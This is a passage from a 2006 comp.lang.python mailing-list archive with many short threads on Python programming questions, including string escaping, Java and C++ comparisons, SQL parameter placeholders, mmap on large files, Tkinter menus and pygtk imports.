wbc.CodeModule.AddFromString(str_code) > > path=saveToPath+"\\"+projectName+"_"+templateName+".xls" > > workbook.SaveAs(path) > > worksheet1 = workbook.Worksheets(1) > > # make stuff visible now. > worksheet1.Activate() > application.Visible = True > Crash as in Office or as a Python exception ? From idknow at gmail.com Thu Oct 12 07:32:02 2006 From: idknow at gmail.com (idknow at gmail.com) Date: 12 Oct 2006 04:32:02 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> Message-ID: <1160652722.908731.213650@i42g2000cwa.googlegroups.com> Paul McGuire wrote: > wrote in message > news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com... > > [snip] > > > > no sort() is needed to calculate the median of a list. > > > > you just need one temp var. > > > > Ok, I'll bite. How do you compute the median of a list using just a single > temp var? > > -- Paul hi Paul; well when this was a stats-class assignment (back when pascal was popular :) i just stepped through the vector and compared it (pseudo-code) ptr p = [with values]. fun median { var x = 0. while( *p++) { if( (*p) > x) x = *p. } return x. } of course, pascal is more verbose but that's median() From anthra.norell at vtxmail.ch Sun Oct 1 03:58:49 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Sun, 01 Oct 2006 09:58:49 +0200 Subject: Escapeism In-Reply-To: <1159635727.840033.169540@m73g2000cwd.googlegroups.com> References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com> <1159635727.840033.169540@m73g2000cwd.googlegroups.com> Message-ID: <451F7539.4090402@vtxmail.ch> Kay Schluehr wrote: > Sybren Stuvel wrote: > >> Kay Schluehr enlightened us with: >> >>> Usually I struggle a short while with \ and either succeed or give up. >>> Today I'm in a different mood and don't give up. So here is my >>> question: >>> >>> You have an unknown character string c such as '\n' , '\a' , '\7' etc. >>> >>> How do you echo them using print? >>> >>> print_str( c ) prints representation '\a' to stdout for c = '\a' >>> print_str( c ) prints representation '\n' for c = '\n' >>> ... >>> >>> It is required that not a beep or a linebreak shall be printed. >>> >> try "print repr(c)". >> > > This yields the hexadecimal representation of the ASCII character and > does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the > escape semantics. One way to achieve this naturally is by prefixing > '\a' with r where r'\a' indicates a "raw" string. But unfortunately > "rawrification" applies only to string literals and not to string > objects ( such as c ). I consider creating a table consisting of pairs > {'\0': r'\0','\1': r'\1',...} i.e. a handcrafted mapping but maybe > I've overlooked some simple function or trick that does the same for > me. > > Kay > > Kay, This is perhaps yet another case for SE? I don't really know, because I don't quite get what you're after. See for yourself: >>> import SE >>> Printabilizer = SE.SE ( ''' (1)=\\1 # All 256 octets can be written as parenthesized ascii (2)=\\2 "\a=\\a" # (7)=\\a" "\n=\\n" # or (10)=\\n or (10)=LF or whatever "\r=\\r" # (13)=CR "\f=\\f" "\v=\\v" # Add whatever other ones you like # and translate them to anything you like. ''') >>> print Printabilizer ('abd\aefg\r\nhijk\vlmnop\1\2.') abd\aefg\r\nhijk\vlmno\1\2. If you think this may help, you'll find SE here: http://cheeseshop.python.org/pypi/SE/2.2%20beta Regards Frederic From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Wed Oct 11 11:43:54 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Wed, 11 Oct 2006 17:43:54 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> <4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de> Message-ID: <4p4hpqFhc4ilU1@individual.net> Diez B. Roggisch wrote: > Yes. You can for example create a constructor for object Foo, > which then is implicitly chosen when assigning an int to a > variable of that kind. So it acts as a casting operator. I call > that wicked, and subtle. > > class Foo { > int _arg; > public: > Foo(int arg) { > _arg = arg; > } > }; > > int main() { > Foo f = 10; > } Just looks like Java's String spam = "eggs"; > Who cares for the reason - it is there, isn't it? You are the one > claiming that a new language should get rid of old concepts, btw. Is C++ new? :) IIRC it's well 10 years older than Java, and that's quite a lot in IT. Apart from this, Java is constantly evolving (through Sun), where C++ is quite a standard since <= 1998. > Where is your money, and where your mouth? I'm not discussing for money ;) > That is a matter of taste - but in the same way, we could argue > about C++ and C, can't we? ACK. >> That's not exactly my point. What if I just wanted to build my >> own interface compatible class ... impossible. > I don't understand that. If I'd like to write a class that is interface compatible to Java's String, so e.g. that I can use it with "+" operator or the simplified construction (String a = "b";). > So what? Since when is compiler optimization a bad thing? I don't offense compiler optimization, but the clunkiness of those "special rules for String only" additions. > What do you think happens all the time when mixing types in C++? Mh, surely no convenience substitution in the sources for one class only. > And I know of some very elaborated schemes called "common base > class idiom" for e.g. template-based vector classes to introduce > allocation optimization to arithmetic expressions in C++. I don't ;) Too high for me. > The code _generated_ by the java compiler, and the C++ compiler, > is not the issue here. Full ACK. (perhaps we were misunderstanding each other) > and in C++, you can do: > > char *a = "1"; > char *b = "2"; > char *c = a + b; > > But with a totally different, unexpected outcome.. I know where > *I* start laughing here. Mh, in other languages you also *can* do stupid things. I'm thinking about weird Python class designs. But Python's lack of private variables isn't bad just because of this, is it? > The way is not awkward, it is called auto-boxing/unboxing and > works very well. But it looks weird. Why not use classes for basic types? Is performance really the reason? It kind of splits the language style. > And this is more than matched by the subtle differences between > > Foo a; > Foo &a; > Foo *a; I don't think that's too subtle. But, perhaps, just because I'm used to C++. It has a little bit too many compatibility features. But I'd rather like to have several options than being forced in one way. Regards, Bj?rn -- BOFH excuse #449: greenpeace free'd the mallocs From fredrik at pythonware.com Sun Oct 8 15:22:51 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 21:22:51 +0200 Subject: references and buffer() In-Reply-To: References: Message-ID: km wrote: > ok so can i point a vairiable to an address location just as done in C > language ? no. there are no C-style "variables" in Python; just objects and names bound to objects. Python variables are names, not memory locations. > >>> y = 'ATGCATGC' > >>> x = buffer(y) > >>> del(y) > >>> x > > >>> print x > ATGCATGC > > now even when i delete y, why is that x still exists ? because it's an object. > thats true even in the case of vairable assignment which states it a a > reference ! > >>> a = 10 > >>> b = a > >>> del(a) > >>> b > 10 > i always thought if u modify the referred variable/buffer object it > should be reflected in the referenced variables/buffers objects . am i > wrong ? reset your brain: http://effbot.org/zone/python-objects.htm From paddy3118 at netscape.net Fri Oct 6 15:50:44 2006 From: paddy3118 at netscape.net (Paddy) Date: 6 Oct 2006 12:50:44 -0700 Subject: extract certain values from file with re In-Reply-To: References: Message-ID: <1160164244.870600.68130@i3g2000cwc.googlegroups.com> Fabian Braennstroem wrote: > Hi, > .... > > I actually want to extract the lines with the numbers, write > them to a file and finally use gnuplot for plotting them. A > nicer and more python way would be to extract those numbers, > write them into an array according to their column and plot > those using the gnuplot or matplotlib module :-) > You might try comparing Ploticus to Gnuplot for your graph plotting http://ploticus.sourceforge.net/ ... but if you already know gnuplot, and it does what you want then ... - Pad. From johnjsal at NOSPAMgmail.com Mon Oct 30 15:47:58 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 20:47:58 GMT Subject: wxPython TextCtrl - weird scrolling behavior In-Reply-To: <1162240822.260735.316040@e64g2000cwd.googlegroups.com> References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> <1162238656.661097.75180@f16g2000cwb.googlegroups.com> <1162240822.260735.316040@e64g2000cwd.googlegroups.com> Message-ID: <2yt1h.206$1n3.4433@news.tufts.edu> abcd wrote: >> But one question that comes to mind is, do you not add sizerTextPanel to >> sizerMainPanel? I think all sub-sizers should be added to the main >> sizer, unless there's some weird reason I don't know of. > > well i set the sizer on the textPanel and then I add the textPanel to > sizerMainPanel > Ah, I see. Seems like it may be a sizer issue, since you are adding a bunch of things together. I noticed that one object you refer to is self.textPane, is that supposed to be self.textPanel? From antoine at vo.lu Thu Oct 12 02:41:03 2006 From: antoine at vo.lu (Antoine De Groote) Date: Thu, 12 Oct 2006 08:41:03 +0200 Subject: How to write Smart Python programs? In-Reply-To: <7xu02a11md.fsf@ruckus.brouhaha.com> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu> <452de0f6$1@news.vo.lu> <7xu02a11md.fsf@ruckus.brouhaha.com> Message-ID: <452de35d$1@news.vo.lu> Paul Rubin wrote: > Antoine De Groote writes: >> In the snippet above (taken from the Python doc >> http://docs.python.org/lib/built-in-funcs.html), self.__x is >> initialized, but never used. I would appreciate any explanation for >> this. > > Looks like a typo, should say self._x . Ok, thanks, that's just what I was thinking.. From grahn+nntp at snipabacken.dyndns.org Tue Oct 17 08:13:32 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 17 Oct 2006 12:13:32 GMT Subject: Alphabetical sorts References: <4aQYg.6347$fl.1193@dukeread08> Message-ID: On Mon, 16 Oct 2006 22:22:47 -0500, Ron Adam wrote: ... > I see this is actually a very complex subject. ... > It looks to me this would be a good candidate for a configurable class. > Something preferably in the string module where it could be found easier. /And/ choosing a locale shouldn't mean changing a process-global state. Sometimes you want to perform something locale-depending in locale A, followed by doing it in locale B. Switching locales today takes time and has the same problems as global variables (unless there is another interface I am not aware of). But I suspect that is already a well-known problem. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From e.h.doxtator at accenture.com Wed Oct 11 13:19:54 2006 From: e.h.doxtator at accenture.com (e.h.doxtator at accenture.com) Date: 11 Oct 2006 10:19:54 -0700 Subject: Adding Worksheets to an Excel Workbook In-Reply-To: <1160521690.691861.283500@e3g2000cwe.googlegroups.com> References: <1160514523.693496.223630@e3g2000cwe.googlegroups.com> <1160521690.691861.283500@e3g2000cwe.googlegroups.com> Message-ID: <1160587194.660628.126950@m7g2000cwm.googlegroups.com> These are all excellent suggestions. Thanks everyone for your help! From apardon at forel.vub.ac.be Tue Oct 10 03:34:01 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 10 Oct 2006 07:34:01 GMT Subject: Names changed to protect the guilty References: <877izb1vwe.fsf@pobox.com> Message-ID: On 2006-10-10, Ben Finney wrote: > "Andy Salnikov" writes: > >> "Aahz" wrote: >> > Antoon Pardon wrote: >> >>The problem is there is also ground for bugs if you don't use >> >>"blah is True". If some application naturally seems to ask for a >> >>variable that can be valued False, True or a positive integer then >> >>things like "if var" or "if not var" may very well be a bug too. >> > >> > Anyone designing an app like that in Python deserves to lose. >> > It's just another way of shooting yourself in the foot. >> >> OK, I guess nobody ever heard about three-valued logic before, >> right? > > Three-valued logic is fine for some purposes. Bending boolean > two-valued constants to play the part of three-valued is confusing and > wrong. Why? The variable in question gives an answer to the question: Has the user requested a connection. To which the answer can be: 1: No 2: Yes 3: Yes and the connection ID is ... So tell me what is wrong with using False and True for the simple No and Yes answer in this case? >> Of course it does not apply to the original post because has_key() >> can only return True or False (I hope it will not ever return >> DontKnow:) but in general if you implement something like 3-valued >> logic choices like (False,True,None) are almost obvious. > > No. Using False and True is a strong signal to the reader that you're > using *two* value logic. If you break that expectation, the reader > should not be expected to sympathise. IMO that expectation is unpythonic. Python allows that a variable can be of different types during its lifetime. There is even no mechanism to limit a variable to a specific type. So there is no reason to expect a variable is limited to False and True just because one of those was used. Just as there is no reason to expect a variable will always be an integer just because it was assigned an integer constant at some point. > As another poster suggested, if you want to implement three-valued > logic, use three new objects to represent the states, so the reader > *knows* there's something going on other than two-value logic. Don't > re-use False and True in three-valued logic and expect anyone to > understand your code. I thought that was the purpose of documentation. -- Antoon Pardon From skip at pobox.com Tue Oct 31 12:53:02 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 31 Oct 2006 11:53:02 -0600 Subject: "best" rational number library for Python? Message-ID: <17735.36222.979168.349287@montanaro.dyndns.org> A guy at work asked for functionality commonly found with rational numbers, so I said I'd find and install something. I figured gmpy would be suitable, alas I'm having trouble successfully building the underlying GMP 4.2.1 library on a PC running Solaris 10 (won't compile with the default --host, fails "make check" if I go the no-assembly route). Before I invest a bunch of time into this, am I barking up the wrong tree? Performance is, for now, certainly not an issue. Even a pure Python rational number class would probably suffice. Thx, Skip From carsten at uniqsys.com Thu Oct 5 17:21:13 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Thu, 05 Oct 2006 17:21:13 -0400 Subject: How do I put % in a format sting? In-Reply-To: References: Message-ID: <1160083273.22568.49.camel@dot.uniqsys.com> On Thu, 2006-10-05 at 16:15, John Salerno wrote: > But I think SQL has other recommended methods. At least with SQLite, it > is recommended you not use Python's %s formatter but instead the "?" > formatter. While I wholeheartedly agree with the sentiment, calling the "?" a formatter only blurs the already blurred distinction between string formatting and parameter passing. The "?" is a parameter placeholder. I'm not gonna go into the reasons for why one should always use parametrized queries instead of rolling queries via string formatting, but the keywords are "SQL injection attack" and "poor performance". I would like to point out, though, that parameter passing in DB-API compliant database access modules is in general very different from string formatting. In most databases, when you say cur.execute("update sometable set somecolumn = ? where somekey = ?", ("spam", "eggs")), the database driver does *not* build a query string with string literals for "spam" and "eggs" substituted into the query. Real databases have a native API that allows passing a parametrized query and a set of parameter bindings, no string substitution required or desired. Some databases do not have such an API, and their respective DB-API modules emulate parameter passing by string substitution, but that is an implementation detail nobody should care about. However, it is precisely those databases that blur the distinction between parameter passing and string substitution, especially because their implementations tend to use "%s" parameter placeholders to make the internal string substitution easier, thus leaking an implementation detail into application code in an unfortunate way. (This is also the reason why I'd like to see %s parameter placeholders banned from future versions of the DB-API spec.) The bottom-line is, when writing parametrized queries, the "?" or "%s" or whatever is used to indicate that "here be parameters" is a parameter placeholder, not a formatter. Thanks for listening, I hope somebody out there finds this helpful ;) -Carsten From horpner at yahoo.com Fri Oct 13 22:16:31 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Sat, 14 Oct 2006 02:16:31 GMT Subject: COM error References: <1160791154.186493.167980@f16g2000cwb.googlegroups.com> Message-ID: <3MXXg.6230$5i7.1379@newsreading01.news.tds.net> On 2006-10-14, Teja wrote: > What is "ValueError: argument is not a COM object" ? I get this > error when I try to pass a COM object to a thread. > > Any pointers???? Try passing it to Larry Bird, instead. He's bound to score some points. Seriously, the function you called expected a COM object and you passed it something else. Without seeing more code, it's hard to be any helpfuller. -- Neil Cerutti From bignose+hates-spam at benfinney.id.au Thu Oct 5 02:33:43 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 05 Oct 2006 16:33:43 +1000 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <452410E9.9040403@v.loewis.de> <1159997348.228622.246410@h48g2000cwc.googlegroups.com> <87hcyjel70.fsf@benfinney.id.au> Message-ID: <878xjve0fs.fsf@benfinney.id.au> Steve Holden writes: > And I'd prefer it if you'd drop this subject. So, if you have > nothing new to say, kindly leave it. I'm happy to, but: > You appear to be prepared to go to any length short of providing > effort to support the open source tracker. This was addressed in a previous post. I don't have the skills nor the resources to do this. Yes, as has been pointed out, it actually *is* far less effort to point out problems, than to solve them. That doesn't detract from the value of pointing out problems. This thread was started on the shock of realising that a non-free tool was even being *considered* for the new Python bug tracker. Those are the terms on which I've been arguing. Apparently there are some people who *have* put themselves forward to support a free-software tool. Great! My point all along has been that Python's developers are well advised to consider *only* free-software tools for supporting development of Python, and that from among those the best tool for the job should be chosen. As you say, nothing new has been said now for a while, so in the absence of that I'm happy to leave it here. -- \ "Why, I'd horse-whip you if I had a horse." -- Groucho Marx | `\ | _o__) | Ben Finney From grahn+nntp at snipabacken.dyndns.org Fri Oct 13 13:05:01 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 13 Oct 2006 17:05:01 GMT Subject: How can I correct an error in an old post? References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: On Wed, 04 Oct 2006 16:37:24 +0100, Steve Holden wrote: > Jorgen Grahn wrote: ... >> I think you are overreacting. This was a thread with three (3) postings, in >> a high-volume newsgroup, with no indication that it would continue (except >> maybe with a pointer to whatever posting the OP wanted to correct, or to his >> correction). >> > I probably was. I also missed the (in retrospect, fairly clear) > implication that it was an old *c.l.py* post that was being discussed. Okay. Naturally, due to my prediction that the thread would die or the OP would resurface with on-topic stuff, the thread stayed alive and offtopic and the OP never came back. I'll stop now, honestly ;-) /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From martin at v.loewis.de Wed Oct 25 13:13:38 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 25 Oct 2006 19:13:38 +0200 Subject: unsigned 32 bit arithmetic type? In-Reply-To: References: <453F3189.5000502@chamonix.reportlab.co.uk> <7xu01s9yoz.fsf@ruckus.brouhaha.com> Message-ID: <453F9B42.8060401@v.loewis.de> Robin Becker schrieb: > def add32(x, y): > "Calculate (x + y) modulo 2**32" > return ((x&0xFFFFFFFFL)+(y&0xFFFFFFFFL)) & 0xffffffffL That's redundant; it is sufficient to write return (x+y) & 0xffffffff > def calcChecksum(data): > """Calculates TTF-style checksums""" > if len(data)&3: data = data + (4-(len(data)&3))*"\0" > sum = 0 > for n in unpack(">%dl" % (len(data)>>2), data): > sum = add32(sum,n) > return sum That's also redundant; I'd write def calcChecksum(data): data += "\0\0\0\0"[:len(data)&3] return sum(unpack(">%dl" % (len(data)>>2), data)) & 0xffffffff I.e. it is sufficient to truncate to 32 bits at the end, instead of doing so after each addition. Regards, Martin From sturlamolden at yahoo.no Tue Oct 24 17:52:49 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 24 Oct 2006 14:52:49 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161651470.010831.93400@m73g2000cwd.googlegroups.com> Message-ID: <1161726769.183593.63300@m7g2000cwm.googlegroups.com> Fredrik Lundh wrote: > > to large to fit in a 32 address space. Thus, mmapmodule.c needs to be > > fixed before it can be used for large files. > > if you've gotten that far, maybe you could come up with a patch, instead > of stating that someone else "needs to fix it" ? I did not say "someone else" needs to fix it. I can patch it, but I am busy until next weekend. This is a typical job for a cold, rainy Saturday afternoon. Also I am not in a hurry to patch mmapmodule.c for my own projects, as I am not using it (but I am going to). A patch would involve an new object, say, "mmap.mmap2" that thakes the additional offeset parameter. I don't want it to break any code dependent on the existing "mmap.mmap" object. Also, I think mmap.mmap2 should allow the file object to be None, and in that case return a shared memory segment backed by the OS' paging file. Calling CreateFileMapping with the filehandle set to INVALID_HANDLE_VALUE is how shared memory for IPC is created on Windows. From martin at v.loewis.de Fri Oct 6 07:07:26 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 06 Oct 2006 13:07:26 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <7x3ba1ltvj.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de> <7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: <452638EE.8030505@v.loewis.de> Paul Rubin schrieb: > How often should a tracker freeze anyway? People with no technical > knowledge at all run BBS systems that almost never freeze. Is a > tracker somehow more failure-prone? It's just a special purpose BBS, > I'd have thought. For whatever reason, the SF bug tracker is often down, or not responding. I'm uncertain why that is, but it's a matter of fact that this was one of the driving forces in moving away from SF (so it is a real problem). Regards, Martin From Leo.Kislov at gmail.com Wed Oct 11 01:50:21 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 10 Oct 2006 22:50:21 -0700 Subject: How to find number of characters in a unicode string? References: <20060918221814.08625ea2.randhol+valid_for_reply_from_news@pvv.org> Message-ID: <1160545821.830285.42650@b28g2000cwb.googlegroups.com> Lawrence D'Oliveiro wrote: > In message , Marc 'BlackJack' > Rintsch wrote: > > > In <20060918221814.08625ea2.randhol+valid_for_reply_from_news at pvv.org>, > > Preben Randhol wrote: > > > >> Is there a way to calculate in characters > >> and not in bytes to represent the characters. > > > > Decode the byte string and use `len()` on the unicode string. > > Hmmm, for some reason > > len(u"C\u0327") > > returns 2. If python ever provide this functionality it would be I guess u"C\u0327".width() == 1. But it's not clear when unicode.org will provide recommended fixed font character width information for *all* characters. I recently stumbled upon Tamil language, where for example u'\u0b95\u0bcd', u'\u0b95\u0bbe', u'\u0b95\u0bca', u'\u0b95\u0bcc' looks like they have width 1,2,3 and 4 columns. To add insult to injury these 4 symbols are all considered *single* letter symbols :) If your email reader is able to show them, here they are in all their glory: ??, ??, ??, ??. From hanumizzle at gmail.com Fri Oct 13 10:08:59 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 10:08:59 -0400 Subject: Where is Python in the scheme of things? In-Reply-To: References: <4524beb9$0$310$426a74cc@news.free.fr> Message-ID: <463ff4860610130708s7d49d775sf2d38e0b764e0a05@mail.gmail.com> On 10/12/06, Magnus Lycka wrote: > I feel much more productive in bash than in most Windows apps. > (I still like to have several terminal windows though.) Perhaps you have used GNU screen. It's on my definitive list of winners. (As an added bonus, using screen via SSH or---heaven forfend---telnet will save you the bandwidth of having a million sessions open.) -- Theerasak From fredrik at pythonware.com Fri Oct 6 06:42:08 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 12:42:08 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: Antoon Pardon wrote: > IMO this is a very natural thought process for a python programmer. > So a python programmer seeing the first will tend to expect that > last call to work. on the other hand, if a Python programmer *writes* some code instead; say, a trivial function like: def calculate(a, b): # approximate; gonna have to fix this later return a + b * 1.2 chances are that he did *not* intend this to be called as calculate(a=1, b=2) or, for that matter, calculate(b=2, a=1) or calculate(1, b=2) just because the Python calling machinery currently happens to allow that. And chances are that he did *not* expect to be stuck with those argument names for the foreseeable future, just because someone else decided to interpret things in the most literal way they possibly could. Python 2.X doesn't provide convenient support for distinguishing between accidental and intentional argument names when you implement a function; that's a wart, not a feature, and it may be addressed in 3.X. From johnjsal at NOSPAMgmail.com Fri Oct 13 14:16:13 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 13 Oct 2006 18:16:13 GMT Subject: SPE for 2.5? Message-ID: Does anyone know if SPE is compatible with Python 2.5? I don't see a Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version. Thanks. From DustanGroups at gmail.com Wed Oct 4 20:33:54 2006 From: DustanGroups at gmail.com (Dustan) Date: 4 Oct 2006 17:33:54 -0700 Subject: Long Tkinter Menu Message-ID: <1160008434.662011.99300@m73g2000cwd.googlegroups.com> I don't know if this is because of Tkinter (ie Tk) itself or the Windows default way of handling things, but when I create a very long menu (my test is shown below), the way it displays is rather sucky; the menu stretches from the top of the moniter's window to the bottom (no matter the size of the actual application). Is there any alternative format for how a long menu gets displayed? It would be nice if say, I could make the menu only go to the borders of the application itself (in this case, not that long). As for why I'm creating such a long menu, think browser bookmarks (That's not actually what I'm doing, but similar). ================================ # menu-example-5.py from Tkinter import * root = Tk() menubar = Menu(root) menu = Menu(menubar, tearoff=0) for i in xrange(100): menu.add_command(label=str(i), command=root.quit) menu.add_command(label="Exit", command=root.quit) menubar.add_cascade(label="Test", menu=menu) root.config(menu=menubar) mainloop() ================================ From fredrik at pythonware.com Wed Oct 18 08:38:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 14:38:43 +0200 Subject: MemoryError - IMAP retrieve self._sock.recv(recv_size) References: <20061018122559.15495.qmail@web88207.mail.re2.yahoo.com> Message-ID: "Stephen G" wrote: > I get many exceptions when using the IMAP downloads. This happens > randomly; sometimes the file downloads OK, and other times no. > File "C:\Python25\lib\socket.py", line 308, in read > data = self._sock.recv(recv_size) > > Is this a know bug or is there something I can do to work around this? looks like this http://mail.python.org/pipermail/python-list/2005-December/317239.html or some variation thereof. From fredrik at pythonware.com Wed Oct 11 01:22:41 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 07:22:41 +0200 Subject: Is a list static when it's a class member? In-Reply-To: <63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com> References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> <63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com> Message-ID: Tom Plunket wrote: >> if you want separate instances to use separate objects, make sure you >> create new objects for each new instance. see Tim's reply for how to >> do that. > > kath's response is probably better. so what's the practical difference between def __init__(self, name): self.name = name self.data = [] and def __init__(self, name): self.name = name self.data=[] ? > In Python, you don't define the instance members in the class scope > like the OP has done: the OP's approach works perfectly fine, as long as you understand that class attributes are shared. From nospam at nosite.zzz Sat Oct 21 14:37:06 2006 From: nospam at nosite.zzz (Paul Lutus) Date: Sat, 21 Oct 2006 11:37:06 -0700 Subject: A Comparison Of Dynamic and Static Languiges References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com> Message-ID: <12jkq6k867mls6f@corp.supernews.com> atbusbook at aol.com wrote: > I'm doing a report on the speed of develipment and executionin varius > programing langiuiges. write code for all these tasks in the languige > of your choise if intrestied send code to atbusbook at aol.com. What you should be doing is learning basic literacy. Life works like this: 1. Write your magnum opus article, become famous, retire to a Greek island. 2. But first, learn how to assemble paragraphs into articles. 3. But first, learn how to assemble sentences into paragraphs. 4. But first, learn how to assemble words into sentences. 5. But first, learn how to assemble letters into words. Start at the bottom, work to the top. Whatever you do, do not presume to start at the top. Also, don't post your homework assignment word-for-word. It makes you look craven and inexperienced. -- Paul Lutus http://www.arachnoid.com From chengiz at my-deja.com Fri Oct 20 14:51:14 2006 From: chengiz at my-deja.com (chengiz at my-deja.com) Date: 20 Oct 2006 11:51:14 -0700 Subject: Pygtk but no gtk? Message-ID: <1161370274.621757.299970@m73g2000cwd.googlegroups.com> I am trying to build an app that requires pygtk so I installed the latter. The app does the following: import pygtk ... import gtk This crashes with ImportError: No module named gtk. I dont know where to get this gtk module from. I assumed pygtk would be it coz the app doesnt mention any dependency on gtk, also googling didnt find anything but pygtk. Did I screw up the installation or something? I dont find any gtk.py file in the python library directories. Thank you. Khan From Benjamin.Barker at gmail.com Sun Oct 8 09:26:14 2006 From: Benjamin.Barker at gmail.com (Ben) Date: 8 Oct 2006 06:26:14 -0700 Subject: Bizzare lst length problem In-Reply-To: <1160313804.076356.278210@c28g2000cwb.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> <1160313168.683964.242350@c28g2000cwb.googlegroups.com> <1160313804.076356.278210@c28g2000cwb.googlegroups.com> Message-ID: <1160313974.040577.125970@e3g2000cwe.googlegroups.com> Ah - I found out why I had cast it to a string. I had not, at that point, worked out ho to pass the list by value rather than reference, and so was casting to a string as a stopgap measure that I then forgot about. Now the problem is fixed after this group told me how to pass a list by value (by slicing the entire list) John Machin wrote: > Theerasak Photha wrote: > > On 8 Oct 2006 06:12:48 -0700, John Machin wrote: > > > > > > > > Show us the code that is creating instances of the panel class ... > > > > > > panel1 = > > > panel(number=?,level=?,location=?,mops=????????????????,matrix=?) > > > What are you passing as the 4th positional arg > > > ^^^^^^^^^^^^^^^^^^^^^^^ ??? > > > > This is wholly unnecessary. > > > > -- Theerasak > > > What is wholly unnecessary? From handful at gmail.com Tue Oct 17 20:19:03 2006 From: handful at gmail.com (handful of nothing) Date: 17 Oct 2006 17:19:03 -0700 Subject: Python wrapper for C++ core In-Reply-To: <711c2$453570a2$404a99a1$22922@news.news-service.com> References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com> <711c2$453570a2$404a99a1$22922@news.news-service.com> Message-ID: <1161130743.245002.67410@k70g2000cwa.googlegroups.com> IMHO, What I learned with the time and of course with books =) : Python gives you rapid turnaround. You can try different approaches and archictetures to solve the problem in much faster way than you would with C++. When you really need to crunch numbers, and numpy/othermodule is not enough for you, then you would need to go down and optimize it in c++. So, the ability to change, re-create and try another strategy would be a killer reason for me to use python (like I have in the past) for games or sim apps. []s Robert Heller wrote: > At 17 Oct 2006 16:05:40 -0700 holly.woodland at gmail.com wrote: > > > > > Hi All > > > > Apologies in advance for the pretty basic question - but I can't seem > > to find an answer anywhere else. > > > > I am developing a fluid sim in C++ and have heard that many people use > > Python in conjunction with C++ for this sort of thing (especially in > > games dev). > > > > What I can't understand why you would want to do this. Obviously the > > core would be written in C++ (for my purposes anyway) so what parts > > would be written in Python? What is the benefit, in this situation, of > > using Python instead of C++? > > > > thanks for your help > > If they were using Python/Tk to develop a GUI, it makes sense (although > I would use Tcl/Tk, being a Tcl fan). In either case, SWIG can generate > the interface between C/C++ and Python/Tcl. > > > > > Holly > > > > > > -- > Robert Heller -- 978-544-6933 > Deepwoods Software -- Linux Installation and Administration > http://www.deepsoft.com/ -- Web Hosting, with CGI and Database > heller at deepsoft.com -- Contract Programming: C/C++, Tcl/Tk From fredrik at pythonware.com Fri Oct 20 06:33:03 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 12:33:03 +0200 Subject: list2str and performance References: <4538a09f$0$2517$426a74cc@news.free.fr> Message-ID: "spr" wrote: > When performance matters and you have to develop a CPU-bound > application, do you think it is possible to eventually achieve nearly > the best performance by extending Python with C or C++ modules, or is it > 